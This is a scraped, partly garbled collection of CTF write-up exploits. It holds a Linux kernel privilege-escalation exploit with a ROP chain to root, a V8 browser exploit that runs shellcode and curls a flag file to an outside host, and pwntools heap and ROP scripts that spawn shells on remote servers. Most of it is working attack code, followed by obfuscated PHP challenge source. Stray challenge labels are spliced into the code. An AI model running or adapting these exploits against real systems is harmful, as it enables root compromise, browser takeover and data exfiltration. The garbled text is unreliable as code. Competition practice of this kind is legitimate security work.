d[i]; buf_addr = leak_heap + 2448; printf("[]leak buf base %p\n",buf_addr); } printf("%p ",d[i]); } printf("\n"); } char (pkc)(int) = NULL; void (cc)(char) = NULL; void payload(void) { char (pkc)(int) = 316368 + kernel_base; void (cc)(char) = 315936 + kernel_base; (cc)((pkc)(0)); asm("swapgs;iretq;"); } void shell() { system("chmod 777 /flag"); //system("id"); char shell = "/bin/sh"; char args[] = {shell, NULL}; execve(shell, args, NULL); } void get_shell_again() { system("chmod 777 /flag "); //puts("SIGSEGV found"); //puts("get shell again"); //system("id"); char shell = "/bin/sh"; char args[] = {shell, NULL}; execve(shell, args, NULL); } int main() { signal(SIGSEGV,get_shell_again); int f = open("/dev/hackme",0); printf("%d\n",f); pthread_t t1; uid = getuid(); printf("uid : %d\n",uid); struct exp alloc = (struct exp)malloc(sizeof(struct exp)); alloc->buf = malloc(0x100000); memcpy(alloc->buf,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",0x100); alloc->size = 0x2e0; alloc->index = 0; alloc->pos = 0; int fd=open("/dev/kdb",0); int a =ioctl(f,ALLOC,alloc); if(a == -1) {return 0;} for(int i=0;i<20;i++) { alloc->index++; a =ioctl(f,ALLOC,alloc); } alloc->index = 0; printf("%d\n",a); size_t i=64; // leak for(;i<0x1000;i+=64) { memset(alloc->buf,0,0x100000); size_t t = 0 - i; alloc->pos = t; alloc->size = i + 1; a = ioctl(f,READ,alloc); if(a == -1) { printf("error ! \n"); return 0; } print_hex((unsigned long long)alloc->buf); } memset(alloc->buf,0,8); printf("[-]free chunk\n"); for(int i=1;i<18;i++) { alloc->index = i; if(i == 3) { continue; } a = ioctl(f,FREE,alloc); printf("%d ",a); } for(int i=0;i<FORK_NUM;i++) { idd[i] = open("/dev/ptmx",O_RDWR\|O_NOCTTY); // tty } alloc->index = 3; alloc->pos = 0 - 0x400; alloc->size = 0x401; a = ioctl(f,READ,alloc); kernel_base =((u64)alloc->buf)[3] -6446176; buf_addr = ((u64)alloc->buf)[7]-(0xffff88800e80d838 - 0xffff88800e80d000); printf("[***]re leak %p %p",kernel_base,buf_addr); for(int i=0;i<0x300;i++) { ((u64)alloc->buf)[i] = kernel_base + 16036; // } //((u64)alloc->buf)[21] = kernel_base + 1335202; ((u64)alloc->buf)[0] = buf_addr; alloc->index = 0; alloc ->pos = 0; alloc -> size = 0x2d0; ioctl(f,EDIT,alloc); alloc->index = 3; alloc->pos = 0 - 0x400; alloc->size = 0x401; a = ioctl(f,READ,alloc); printf("\n%d\n",a); print_hex(alloc->buf); ((u64)alloc->buf)[3] = buf_addr; // ((u64)alloc->buf)[4] = buf_addr; a = ioctl(f,EDIT,alloc); for(i=0;i<FORK_NUM;i++) { //write(idd[i],"aaaaaaaa",kernel_base); ioctl(idd[i],0xdeadbeef,100); } alloc->index = 3; alloc->pos = 0 - 568; alloc->size = 568 + 1; ioctl(f,READ,alloc); print_hex(alloc->buf); alloc->index = 3; alloc->pos = 0 - 568; alloc->size = 568 + 1; ((u64)alloc->buf)[0] = kernel_base + 1561198;//buf_addr + 0xc00; a = ioctl(f,EDIT,alloc); alloc->pos = 0 - 40; alloc->size = 40 + 0x2a0; int flag = 0; save_state(); ((u64)alloc->buf)[flag++] = kernel_base + 0xE546; //ret ((u64)alloc->buf)[flag++] = kernel_base + 0xE546; // ret ((u64)alloc->buf)[flag++] = kernel_base + 0x1B5A1; // pop rax ;ret ((u64)alloc->buf)[flag++] = 0x6f0; ((u64)alloc->buf)[flag++] = kernel_base + 0x1B7A0; //cr4smep smap /* seg000:000000000001B7A0 mov cr4, rax seg000:000000000001B7A3 push rcx seg000:000000000001B7A4 popfq ﬂagdouble fetch OOB Status: Completed Tags: Pwn seg000:000000000001B7A5 pop rbp seg000:000000000001B7A6 retn / ((u64)alloc->buf)[flag++] = alloc->buf + 0x10000; ((u64)alloc->buf)[flag++] = kernel_base + 0x10D21C; // pop rdi; pop rax; ret rdi 0 ((u64)alloc->buf)[flag++] = 0; ((u64)alloc->buf)[flag++] = 316368 + kernel_base; // prepare_kernel_cred ((u64)alloc->buf)[flag++] = kernel_base + 0x13B204 ; /* seg000:000000000013B204 pop rcx seg000:000000000013B205 pop rbx seg000:000000000013B206 pop r12 seg000:000000000013B208 pop r13 seg000:000000000013B20A pop r14 seg000:000000000013B20C pop rbp seg000:000000000013B20D retn/ ((u64)alloc->buf)[flag++] = 0x13B20C + kernel_base; ((u64)alloc->buf)[flag++] = 0; ((u64)alloc->buf)[flag++] = 0; ((u64)alloc->buf)[flag++] = 0; ((u64)alloc->buf)[flag++] = 0; ((u64)alloc->buf)[flag++] = alloc->buf + 0x10000; // ((u64)alloc->buf)[flag++] = kernel_base + 663415 ; // 0xffffffff810a1f77 : mov rdi, rax ; call rcx // prepare_kernel_cred(0)rdi ((u64)alloc->buf)[flag++] = 315936 + kernel_base; //commit_creds ((u64)alloc->buf)[flag++] = 2100270 + kernel_base; //swapgs ; popfq ; pop rbp ; ret ((u64)alloc->buf)[flag++] = 0x246; ((u64)alloc->buf)[flag++] = 0; ((u64)alloc->buf)[flag++] = 0x19356 + kernel_base ; // iretq ((u64)alloc->buf)[flag++] = (size_t)&shell; ((u64)alloc->buf)[flag++] = user_cs; / saved CS / ((u64)alloc->buf)[flag++] = user_rflags; /* saved EFLAGS / ((u64)alloc->buf)[flag++] = &f - (u64)0x100; /* stack / ((u64)alloc->buf)[flag++] = user_ss; a = ioctl(f,EDIT,alloc); printf("%d\n",a); printf("123\n"); for(int i=0;i<FORK_NUM;i++) { close(idd[i]); } } <html> <meta http-equiv="cache-control" content="no-cache" /> <title>Welcome my little pwnie 1,2,3!</title> <script> // // Utility functions. // // Return the hexadecimal representation of the given byte. function hex(b) { return ('0' + b.toString(16)).substr(-2); } // Return the hexadecimal representation of the given byte array. function hexlify(bytes) { var res = []; for (var i = 0; i < bytes.length; i++) res.push(hex(bytes[i])); return res.join(''); } // Return the binary data represented by the given hexdecimal string. function unhexlify(hexstr) { if (hexstr.length % 2 == 1) throw new TypeError("Invalid hex string"); var bytes = new Uint8Array(hexstr.length / 2); for (var i = 0; i < hexstr.length; i += 2) bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); return bytes; } function hexdump(data) { if (typeof data.BYTES_PER_ELEMENT !== 'undefined') data = Array.from(data); var lines = []; var chunk = data.slice(i, i+16); for (var i = 0; i < data.length; i += 16) { var parts = chunk.map(hex); if (parts.length > 8) parts.splice(8, 0, ' '); lines.push(parts.join(' ')); } return lines.join('\n'); } // Simplified version of the similarly named python module. var Struct = (function() { // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. var buffer = new ArrayBuffer(8); var byteView = new Uint8Array(buffer); var uint32View = new Uint32Array(buffer); var float64View = new Float64Array(buffer); return { pack: function(type, value) { var view = type; // See below view[0] = value; return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); }, unpack: function(type, bytes) { if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray"); var view = type; // See below byteView.set(bytes); return view[0]; }, // Available types. int8: byteView, int32: uint32View, float64: float64View }; })(); // // Tiny module that provides big (64bit) integers. // // Datatype to represent 64-bit integers. // // Internally, the integer is stored as a Uint8Array in little endian byte order. function Int64(v) { // The underlying byte array. var bytes = new Uint8Array(8); switch (typeof v) { case 'number': v = '0x' + Math.floor(v).toString(16); case 'string': if (v.startsWith('0x')) v = v.substr(2); if (v.length % 2 == 1) v = '0' + v; var bigEndian = unhexlify(v, 8); bytes.set(Array.from(bigEndian).reverse()); break; case 'object': if (v instanceof Int64) { bytes.set(v.bytes()); } else { if (v.length != 8) throw TypeError("Array must have excactly 8 elements."); bytes.set(v); } break; case 'undefined': break; default: throw TypeError("Int64 constructor requires an argument."); } // Return a double whith the same underlying bit representation. this.asDouble = function() { // Check for NaN if (bytes[7] == 0xff && (bytes[6] == 0xff \|\| bytes[6] == 0xfe)) throw new RangeError("Integer can not be represented by a double"); return Struct.unpack(Struct.float64, bytes); }; // Return a javascript value with the same underlying bit representation. // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) // due to double conversion constraints. this.asJSValue = function() { if ((bytes[7] == 0 && bytes[6] == 0) \|\| (bytes[7] == 0xff && bytes[6] == 0xff)) throw new RangeError("Integer can not be represented by a JSValue"); // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. this.assignSub(this, 0x1000000000000); var res = Struct.unpack(Struct.float64, bytes); this.assignAdd(this, 0x1000000000000); return res; }; // Return the underlying bytes of this number as array. this.bytes = function() { return Array.from(bytes); }; // Return the byte at the given index. this.byteAt = function(i) { return bytes[i]; }; // Return the value of this number as unsigned hex string. this.toString = function() { return '0x' + hexlify(Array.from(bytes).reverse()); }; // Basic arithmetic. // These functions assign the result of the computation to their 'this' object. // Decorator for Int64 instance operations. Takes care // of converting arguments to Int64 instances if required. function operation(f, nargs) { return function() { if (arguments.length != nargs) throw Error("Not enough arguments for function " + f.name); for (var i = 0; i < arguments.length; i++) if (!(arguments[i] instanceof Int64)) arguments[i] = new Int64(arguments[i]); return f.apply(this, arguments); }; } // this = -n (two's complement) this.assignNeg = operation(function neg(n) { for (var i = 0; i < 8; i++) bytes[i] = ~n.byteAt(i); return this.assignAdd(this, Int64.One); }, 1); // this = a + b this.assignAdd = operation(function add(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) + b.byteAt(i) + carry; carry = cur > 0xff \| 0; bytes[i] = cur; } return this; }, 2); // this = a - b this.assignSub = operation(function sub(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) - b.byteAt(i) - carry; carry = cur < 0 \| 0; bytes[i] = cur; } return this; }, 2); // this = a & b this.assignAnd = operation(function and(a, b) { for (var i = 0; i < 8; i++) { bytes[i] = a.byteAt(i) & b.byteAt(i); } return this; }, 2); } // Constructs a new Int64 instance with the same bit representation as the provided double. Int64.fromDouble = function(d) { var bytes = Struct.pack(Struct.float64, d); return new Int64(bytes); }; // Convenience functions. These allocate a new Int64 to hold the result. // Return -n (two's complement) function Neg(n) { return (new Int64()).assignNeg(n); } // Return a + b function Add(a, b) { return (new Int64()).assignAdd(a, b); } // Return a - b function Sub(a, b) { return (new Int64()).assignSub(a, b); } // Return a & b function And(a, b) { return (new Int64()).assignAnd(a, b); } // Some commonly used numbers. Int64.Zero = new Int64(0); Int64.One = new Int64(1); </script> <script> // primitives, addr's type = double function fakeobj(addr) { var a = [1, 2, []]; for(var i = 4; i < 11; i++) { a.push(i); } a.length = 5; var o = { valueOf: function() { a.length = 10; return addr; } }; a.oob(o); return a[5]; } // leak needed, this should be contiguous, otherwise we die // also: do NOT trigger GC if you want this primitive enabled var kkk = []; for(var i = 0; i < 0x100; i++) { var a = new Array(4); kkk.push(a); } var ppp = []; for(var i = 0; i < 0x100; i++) { var a = [0.0, 1.1, 2.2, 3.3]; ppp.push(a); } var l = kkk[100]; var r = ppp[100]; var objarr_map = l.oob(); var double_map = r.oob(); console.log(objarr_map); console.log(double_map); function addrof(obj) { l.oob(objarr_map); kkk[101][0] = obj; l.oob(double_map); var result = kkk[101][0]; l.oob(objarr_map); return Int64.fromDouble(result); } function fakeobj(addr) { l.oob(double_map); kkk[101][0] = addr; l.oob(objarr_map); return kkk[101][0]; } // so we have the primitives here // exploit comin' in hot!!! var vvv = []; for(var i = 0; i < 0x80; i++) { var a = new Array(4); vvv.push(a); var x = new ArrayBuffer(10); vvv.push(x); } var ab_map = vvv[100].oob(); console.log(ab_map); var victim_ab = new ArrayBuffer(10); var o = {a:0.0, b:0.0, c:0.0, d:0.0, e:0.0, f:0.0, h:0.0, i:0.0, j:0.0}; var addr_o = addrof(o); var addr_victim = addrof(victim_ab); o.b = ab_map; o.e = (new Int64('0x1000')).asDouble(); o.f = Sub(addr_victim, Int64.One).asDouble(); var fake_addr = Add(addr_o, new Int64('0x20')); var faked = fakeobj(fake_addr.asDouble()); var driver = new Uint8Array(faked); driver.set([0, 0x10, 0, 0, 0, 0, 0, 0], 0x18); // length babyshell Status: Completed Tags: Pwn var rw = { set_addr: function(addr) { driver.set(addr.bytes(), 0x20); }, write: function(addr, bytes) { this.set_addr(addr); var memview = new Uint8Array(victim_ab); memview.set(bytes); }, read8: function(addr) { this.set_addr(addr); var memview = new Uint8Array(victim_ab); return new Int64(memview.slice(0, 8)); }, }; // do it now! let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]); let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {}); let f = wasm_mod.exports._Z3addii; var addr_f = addrof(f); console.log(addr_f.toString()); var shared_func_info = rw.read8(Add(Sub(addr_f, new Int64(1)), new Int64(0x18))); console.log(shared_func_info.toString()); var exported = rw.read8(Add(Sub(shared_func_info, new Int64(1)), new Int64(8))); console.log(exported.toString()); var instance = rw.read8(Add(Sub(exported, new Int64(1)), new Int64(0x10))); console.log(instance.toString()); var rwx_memory = rw.read8(Add(Sub(instance, new Int64(1)), new Int64(0x88))); console.log(rwx_memory.toString()); var command = "/bin/bash -c '/get_flag > /tmp/hello; curl -F \"data=@/tmp/hello\" http://shiki7.me:9999/'"; var cmd_buf = new ArrayBuffer(0x100); var cmd_view = new Uint8Array(cmd_buf); cmd_view.set(Array.from(command).map((c) => c.charCodeAt(0))); var buf_addr = Sub(addrof(cmd_buf), Int64.One); var cmd_addr = rw.read8(Add(buf_addr, new Int64(0x20))); var shellcode = [].concat([0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90], [72,49,210,72,184,47,98,105,110,47,115,104,0,80,72,137,231,184,45,99,0,0,80,72,137,225,72,184], Array.from(cmd_addr.bytes()), [82,80,81,87,72,137,230,184,59,0,0,0,15,5]); //alert('Pause!') rw.write(rwx_memory, shellcode); f(); //alert('Done!'); </script> </html> girlfriend Status: Completed Tags: Pwn from pwn import * context.arch = 'amd64' # p = process('./shellcode') p = remote('34.92.37.22', 10002) •def launch_gdb(): context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] gdb.attach(proc.pidof(p)[0]) shellcode = '\x79\x0f\x00' # jmp shellcode += '\x90' * 50 + asm(shellcraft.amd64.sh()) # launch_gdb() p.send(shellcode) p.interactive() from pwn import * #p=process('./chall',env = {'LD_PRELOAD':'./libc.so.6'}) p=remote('34.92.96.238',10001) libc = ELF('./libc.so.6') def add(size,name,phone): p.recvuntil('choice') p.sendline('1') p.recvuntil('name') p.sendline(str(size) p.recvuntil('name') p.send(name) p.recvuntil('call') p.send(phone) def dele(idx): p.recvuntil('choice') p.sendline('4') p.recvuntil('index') p.sendline(str(idx)) add(0x500,'aaa','111') add(0x500,'bbb','222') dele(0) p.recvuntil('choice') p.sendline('2') p.recvuntil('index') p.sendline('0') p.recvuntil('name:\n') addr = u64(p.recv(6).ljust(8,'\x00')) print hex(addr) raw_input() libc_base = addr - (0x7fd7cae71ca0-0x7fd7caac0000) malloc_hook = libc.symbols['__free_hook']+libc_base system = libc.symbols['system']+libc_base print hex(malloc_hook) info("libc:0x%x",libc_base) for i in range(7): add(0x60,'xxx','111')#2,3,4,5,6 7 8 add(0x60,'yyy','222')#9 add(0x60,'zzz','333')#10 for i in range(2,9): dele(i) dele(9) dele(10) dele(9) quicksort Status: Completed Tags: Pwn upxofcpp Status: Completed Tags: Pwn for i in range(7): add(0x60,'xxx','111')#11,12,13,14,15 16 17 raw_input() add(0x60,p64(malloc_hook),'111')#18 add(0x60,p64(malloc_hook),'111')#19 add(0x60,"/bin/sh\x00",'111')#20 add(0x60,p64(system),'22')#21 dele(20) #add(0x60,p64(malloc_hook-0x20-3),'111') p.interactive() from pwn import * #p = process('./quicksort') libc = ELF("./libc.so.6") p = remote('34.92.96.238',10000) p.recvuntil('sort') p.sendline('1') p.recvuntil('number') p.sendline(str(0x8048816).ljust(12,'\x00')+p32(1)2+p32(0)2+p32(0x804a018)) # n i #change free to main p.recvuntil('sort') p.sendline('1') p.recvuntil('number') p.sendline(str(0x8048816).ljust(12,'\x00')+p32(1)2+p32(1)2+p32(0x804a02c)) p.recvuntil(':\n') addr = int(p.recvuntil('\n')[:-1])&0xffffffff libc_base = addr - libc.symbols['puts'] info("libc:0x%x",libc_base) system = libc_base+libc.symbols['system'] print hex(system) sh = libc_base +next(libc.search("/bin/sh"),) p.recvuntil('sort') p.sendline('1') p.recvuntil('number') addr = 0x100000000-system addr = 0-addr print addr print hex(addr&0xffffffff) p.sendline(str(addr).ljust(12,'\x00')+p32(1)2+p32(0)2+p32(0x804a038)) p.recvuntil('sort') p.sendline('1') p.recvuntil('number') p.sendline('/bin/sh') p.interactive() from pwn import * import re #p = process('./upxofcpp') blind pwn Status: Completed Tags: Pwn p = remote('34.92.121.149', 10000) context(arch='amd64',os='linux') sh = asm(shellcraft.sh()) print len(sh) def split_s(text,lenth): textArr = re.findall('.{'+str(lenth)+'}', text) textArr.append(text[(len(textArr)lenth):]) return textArr def add(idx,size,content): p.recvuntil('choice') p.sendline('1') p.recvuntil('Index') p.sendline(str(idx)) p.recvuntil('Size') p.sendline(str(size)) l = split_s(content,4) if len(content) == 0: p.sendline('-1') return for i in l: num = u32(i.ljust(4,'\x00')) if num >=0x80000000: num = 0x100000000-num num = -num p.sendline(str(num)) if (len(l)<size): p.sendline('-1') def dele(idx): p.recvuntil('choice') p.sendline('2') p.recvuntil('index') p.sendline(str(idx)) add(0,0x18/4,'1') add(1,0x18/4,'2') dele(0) dele(1) •add(2,0x60/4,'3') add(4,0x18/4,'') add(5,0x18/4,'') dele(5) dele(2) add(6,0x18/4,'') add(10,0x21,'') add(11,0x21,'') •dele(10) •dele(11) pay = 'a'(0x60)+sh #print split_s(pay,4) add(8,0x110/4,pay) p.sendline('4') p.sendline('0') p.interactive() Web Echohub Status: Completed Tags: Web from pwn import * p = remote('34.92.37.22', 10000) libc = ELF('./libc-2.23.so') padding = 40'a' p.sendline(padding+p64(0x400515)+p64(0x4006ce)) p.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') p.recv(32) addr = p.recv(6) addr = u64(addr.ljust(8,'\x00')) libc_base = addr - libc.symbols['__libc_start_main']-0xf0 print hex(libc_base) one = libc_base+0xf1147 p.sendline('\x00'40+p64(one)+'\x00'200) p.interactive() <?php $banner = <<<EOF <!--/?source=1--> <pre> .----------------. .----------------. .----------------. .----------------. .----------------. .- ---------------. .----------------. \| .--------------. \|\| .--------------. \|\| .--------------. \|\| .--------------. \|\| .--------------. \|\| .--------------. \|\| .--------------. \| \| \| _________ \| \|\| \| ______ \| \|\| \| ____ ____ \| \|\| \| ____ \| \|\| \| ____ ____ \| \|\| \| _____ _____ \| \|\| \| ______ \| \| \| \| \|_ ___ \| \| \|\| \| .' ___ \| \| \|\| \| \|_ \|\| _\| \| \|\| \| .' `. \| \|\| \| \|_ \|\| _\| \| \|\| \|\|_ _\|\|_ _\|\| \|\| \| \|_ _ \ \| \| \| \| \| \|_ \_\| \| \|\| \| / .' \_\| \| \|\| \| \| \|__\| \| \| \|\| \| / .--. \ \| \|\| \| \| \|__\| \| \| \|\| \| \| \| \| \| \| \|\| \| \| \|_) \| \| \| \| \| \| _\| _ \| \|\| \| \| \| \| \|\| \| \| __ \| \| \|\| \| \| \| \| \| \| \|\| \| \| __ \| \| \|\| \| \| ' ' \| \| \|\| \| \| __'. \| \| \| \| _\| \|___/ \| \| \|\| \| \ `.___.'\ \| \|\| \| _\| \| \| \|_ \| \|\| \| \ `--' / \| \|\| \| _\| \| \| \|_ \| \|\| \| \ `--' / \| \|\| \| _\| \|__) \| \| \| \| \| \|_________\| \| \|\| \| `._____.' \| \|\| \| \|____\|\|____\| \| \|\| \| `.____.' \| \|\| \| \|____\|\|____\| \| \|\| \| `.__.' \| \|\| \| \|_______/ \| \| \| \| \| \|\| \| \| \|\| \| \| \|\| \| \| \|\| \| \| \|\| \| \| \|\| \| \| \| \| '--------------' \|\| '--------------' \|\| '--------------' \|\| '--------------' \|\| '--------------' \|\| '--------------' \|\| '--------------' \| '----------------' '----------------' '----------------' '----------------' '----------------' '- ---------------' '----------------' Welcome to random stack ! Try to execute `/readflag` :P </pre> <form action="/" method="post">root > <input name="data" placeholder="input some data"></form> EOF; echo $banner; if(isset($_GET['source'])){ $file = fopen("index.php","r"); $contents = fread($file,filesize("index.php")); echo "---------------sourcecode---------------"; echo base64_encode($contents); echo "----------------------------------------"; fclose($file); //Dockerfile here echo "RlJPTSB1YnVudHU6MTguMDQKClJVTiBzZWQgLWkgInMvaHR0cDpcL1wvYXJjaGl2ZS51YnVudHUuY29tL2h0dHA6XC9cL21pcnJvcnMudX N0Yy5lZHUuY24vZyIgL2V0Yy9hcHQvc291cmNlcy5saXN0ClJVTiBhcHQtZ2V0IHVwZGF0ZQpSVU4gYXB0LWdldCAteSBpbnN0YWxsIHNvZ nR3YXJlLXByb3BlcnRpZXMtY29tbW9uClJVTiBhZGQtYXB0LXJlcG9zaXRvcnkgLXkgcHBhOm9uZHJlai9waHAKUlVOIGFwdC1nZXQgdXBk YXRlClJVTiBhcHQtZ2V0IC15IHVwZ3JhZGUKUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCB0emRhdGEKUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCB 2aW0KUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCBhcGFjaGUyClJVTiBhcHQtY2FjaGUgc2VhcmNoICJwaHAiIHwgZ3JlcCAicGhwNy4zInwgYX drICd7cHJpbnQgJDF9J3wgeGFyZ3MgYXB0LWdldCAteSBpbnN0YWxsClJVTiBzZXJ2aWNlIC0tc3RhdHVzLWFsbCB8IGF3ayAne3ByaW50I CQ0fSd8IHhhcmdzIC1pIHNlcnZpY2Uge30gc3RvcAoKUlVOIHJtIC92YXIvd3d3L2h0bWwvaW5kZXguaHRtbApDT1BZIHJhbmRvbXN0YWNr LnBocCAvdmFyL3d3dy9odG1sL2luZGV4LnBocApDT1BZIHNhbmRib3gucGhwIC92YXIvd3d3L2h0bWwvc2FuZGJveC5waHAKUlVOIGNobW9 kIDc1NSAtUiAvdmFyL3d3dy9odG1sLwpDT1BZIGZsYWcgL2ZsYWcKQ09QWSByZWFkZmxhZyAvcmVhZGZsYWcKUlVOIGNobW9kIDU1NSAvcm VhZGZsYWcKUlVOIGNobW9kIHUrcyAvcmVhZGZsYWcKUlVOIGNobW9kIDUwMCAvZmxhZwpDT1BZIC4vcnVuLnNoIC9ydW4uc2gKQ09QWSAuL 3BocC5pbmkgL2V0Yy9waHAvNy4zL2FwYWNoZTIvcGhwLmluaQpSVU4gY2htb2QgNzAwIC9ydW4uc2gKCkNNRCBbIi9ydW4uc2giXQ=="; highlight_file(__FILE__); } $disable_functions = ini_get("disable_functions"); $loadext = get_loaded_extensions(); foreach ($loadext as $ext) { if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue; else { if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1) $dfunc = join(',',get_extension_funcs($ext)); else continue; $disable_functions = $disable_functions.$dfunc.","; } } $func = get_defined_functions()["internal"]; foreach ($func as $f){ if(stripos($f,"file") !== false \|\| stripos($f,"open") !== false \|\| stripos($f,"read") !== false \|\| stripos($f,"write") !== false){ $disable_functions = $disable_functions.$f.","; } } ini_set("disable_functions", $disable_functions); ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER['REMOTE_ADDR'])."/"); FROM ubuntu:18.04 RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list RUN apt-get update RUN apt-get -y install software-properties-common RUN add-apt-repository -y ppa:ondrej/php RUN apt-get update RUN apt-get -y upgrade RUN apt-get -y install tzdata RUN apt-get -y install vim RUN apt-get -y install apache2 RUN apt-cache search "php" \| grep "php7.3"\| awk '{print $1}'\| xargs apt-get -y install RUN service --status-all \| awk '{print $4}'\| xargs -i service {} stop RUN rm /var/www/html/index.html COPY randomstack.php /var/www/html/index.php COPY sandbox.php /var/www/html/sandbox.php RUN chmod 755 -R /var/www/html/ COPY flag /flag COPY readflag /readflag RUN chmod 555 /readflag RUN chmod u+s /readflag RUN chmod 500 /flag run.sh COPY ./run.sh /run.sh COPY ./php.ini /etc/php/7.3/apache2/php.ini RUN chmod 700 /run.sh CMD ["/run.sh"] #!/bin/sh service --status-all \| awk '{print $4}'\| xargs -i service {} start sleep infinity; PD9waHAgLyogb3J6DQotLSBlbnBocCA6IGh0dHBzOi8vZ2l0Lm9zY2hpbmEubmV0L216L216cGhwMg0KICovIGVycm9yX3JlcG9ydGluZyh FX0FMTF5FX05PVElDRSk7ZGVmaW5lKCdPMCcsICdPJyk79DskR0xPQkFMU1tPMF0gPSBleHBsb2RlKCd8AXwFfAEnLCBnemluZmxhdGUoc3 Vic3RyKCcfiwgAAAAAAAADdVLJUsMwDIUD/xFOwIFSys4wzLC07C1MuXsUV2lCHdvYThemH4+plaaU4kPmyfLTe5JiQfZiNa7pVE/XpxvTd ZflGJA1PhdgD5NM0vVDu8s6rVa3+R7i6hXCmEBMxdCWICMAxsCEJeJ3PAIxoNgKQ/LOCJRzzKwWmatCDaS6Nr8zOAw4zmQjRTIDMff2+2n2 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'eip' => 0,); function aslr(&$O00, $O0O) { $O00 = $O00 + 1610612736 + INS_OFFSET + 1; } $func_ = array_flip($func); array_walk($func_, aslr); $plt = array_flip($func_); function handle_data($OOO) { $O000 = strlen($OOO); $O00O = $O000 / 4 + (1 ($O000 % 4)); $O0O0 = str_split($OOO, 4); $O0O0[$O00O - 1] = str_pad($O0O0[$O00O - 1], 4, ''); foreach ($O0O0 as $O0OO => &$OO00) { $OO00 = strrev(bin2hex($OO00)); } return $O0O0; } function gen_canary() { $OOOO = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789'; $O0000 = $OOOO[rand(0, strlen($OOOO) - 1)]; $O000O = $OOOO[rand(0, strlen($OOOO) - 1)]; $O00O0 = $OOOO[rand(0, strlen($OOOO) - 1)]; $O00OO = ''; return handle_data($O0000 . $O000O . $O00O0 . $O00OO)[0]; } $canary = gen_canary(); $canarycheck = $canary; function check_canary() { global $canary; global $canarycheck; if ($canary != $canarycheck) { die('emmmmmm...Don\'t attack me!'); } } Class O0OO0 { private $ebp, $stack, $esp; public function __construct($O0OOO, $OO000) { $this->stack = array(); global $regs; $this->ebp = &$regs['ebp']; $this->esp = &$regs['esp']; $this->ebp = 0xfffe0000 + rand(0, 65535); global $canary; $this->stack[$this->ebp - 4] = &$canary; $this->stack[$this->ebp] = $this->ebp + rand(0, 65535); $this->esp = $this->ebp - (rand(32, 96) * 4); $this->stack[$this->ebp + 4] = dechex($O0OOO); if ($OO000 != NULL) $this->{pushdata}($OO000); } public function pushdata($OO0O0) { $OO0O0 = handle_data($OO0O0); for ($OO0OO = 0; $OO0OO < count($OO0O0); $OO0OO++) { $this->stack[$this->esp + ($OO0OO * 4)] = $OO0O0[$OO0OO]; //no args in my stack haha check_canary(); } } public function recover_data($OOO0O) { return hex2bin(strrev($OOO0O)); } public function outputdata() { global $regs; echo 'root says: '; while (1) { if ($this->esp == $this->ebp - 4) break; $this->{pop}('eax'); $OOOOO = $this->{recover_data}($regs['eax']); $O00000 = explode('', $OOOOO); echo $O00000[0]; if (count($O00000) > 1) { break; } } } public function ret() { $this->esp = $this->ebp; $this->{pop}('ebp'); $this->{pop}('eip'); $this->{call}(); } public function get_data_from_reg($O000OO) { global $regs; $O00O00 = $this->{recover_data}($regs[$O000OO]); $O00O0O = explode('', $O00O00); return $O00O0O[0]; } public function call() { global $regs; global $plt; $O00OOO = hexdec($regs['eip']); if (isset($_REQUEST[$O00OOO])) { $this->{pop}('eax'); $O0O000 = (int)$this->{get_data_from_reg}('eax'); $O0O00O = array(); for ($O0O0O0 = 0; $O0O0O0 < $O0O000; $O0O0O0++) { $this->{pop}('eax'); $O0O0OO = $this->{get_data_from_reg}('eax'); array_push($O0O00O, $_REQUEST[$O0O0OO]); } call_user_func_array($plt[$O00OOO], $O0O00O); } else { call_user_func($plt[$O00OOO]); } } public function push($O0OO0O) { global $regs; $O0OOO0 = $regs[$O0OO0O]; if (hex2bin(strrev($O0OOO0)) == NULL) die('data error'); $this->stack[$this->esp] = $O0OOO0; $this->esp -= 4; } public function pop($OO0000) { global $regs; $regs[$OO0000] = $this->stack[$this->esp]; $this->esp += 4; } public function __call($OO000O, $OO00O0) { check_canary(); } } class_alias('O0OO0', stack, 0); print_R('O0OO0'); print_R(stack); if (isset($_POST['data'])) { $phpinfo_addr = array_search(phpinfo, $plt); $gets = $_POST['data']; php call_user_func_array create_functionfastcgibypass disable_functionhttps://balsn.tw/ctf_writeup/20190323- 0ctf_tctf2019quals/#ghost-pepper payload: $main_stack = new stack($phpinfo_addr, $gets); echo '--------------------output---------------------</br></br>'; $main_stack->{outputdata}(); echo '</br></br>------------------phpinfo()------------------</br>'; $main_stack->{ret}(); } ?> <?php function handle_data($data) { $data_length = strlen($data); $list_len = $data_length / 4 + (1 * ($data_length % 4)); $data_list = str_split($data, 4); $data_list[$list_len - 1] = str_pad($data_list[$list_len - 1], 4, "\x00"); foreach ($data_list as $O0OO => &$value) { $value = strrev(bin2hex($value)); } return $data_list; } function gen_canary() { $OOOO = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789'; $O0000 = 